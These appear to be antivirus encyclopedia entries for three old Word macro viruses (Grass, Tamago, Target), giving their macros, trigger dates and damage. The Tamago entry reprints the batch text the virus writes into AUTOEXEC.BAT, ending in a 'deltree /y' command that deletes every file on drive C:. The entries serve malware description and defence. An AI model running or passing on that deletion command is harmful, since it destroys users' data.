Macro.Word.Grass
Description Macro.Word.Grass
This is an encrypted German macro-virus, it contains six macros: DateiNeu, ExtrasMakro, DateiBeenden, DateiSchliexen, ExtrasW÷rterZ hlen, DateiSpeichernUnter. The virus replicates itself when any of these macros is executed.
On March 10 the virus formats the C: drive and displays the MessageBox:
(c) Grasshopper Corp. / Germany 1997
On February 10 the virus displays the MessageBox:
Datei Schliexen
Datei wirklich Schliexen?
The virus then creates and executes the files CLICK.COM, LOSER.COM that contain DOS viruses "Burger" and "Tequila".
On May 10 the virus erases the files:
C:Io.sys
C:WindowsSystem.dat
C:WindowsSystemVmm32.vxd
Check other viruses! Be aware! Use Antiviral Software
Macro.Word.Tamago
Description Macro.Word.Tamago
This macro virus affects the system on closing an infected documents and copies itself to documents are closed or saved with new name. It contains seven macros:
Documents NORMAL.DOT
AutoOp AutoOpen
AutoExec AutoExec
AutoClose AutoClose
UtilMacro UtilMacro
FerramMacro FerramMacro
ArquivoModelos ArquivoModelos
ArquivoSalvarComo ArquivoSalvarComo
The virus does not infect the system and documents, if Environment contains the string "TAMAGOXI=GMS" (virus author's self-protection?). In this case the virus displays the MessageBox:
(sLeEp ModE) TaMaGoXI bY WiZaRD: EtERnAl LoVE 2 mY LitTlE gIrL Gi
On 26 of any month the virus writes to the C:AUTOEXEC.BAT instructions that will display the message and delete all files on drive C:
@echo off
cls
echo.
echo.
echo.
echo SaLamA'S CoRP - AlL lEfTS ReSerVeD - 1997
echo TaMaGoXI bY WiZaRD***
echo ***
echo *
echo *
echo *************
echo * *
echo * **** **** *
echo * *
echo * ***** *
echo ***************
echo.
echo eXPecT nO MeRcY FRoM HiM
echo.
echo.
echo File' not found: Serve Alcatara Mane'? (S/N)
echo.
echo.
deltree /y c:*.* >nul
Macro.Word.Target
Description Macro.Word.Target
A silly not encrypted virus. It contains one macro autoOpen and just infects the global macros area and documents on AutoOpen. The length of virus binary image is just 256 bytes.
|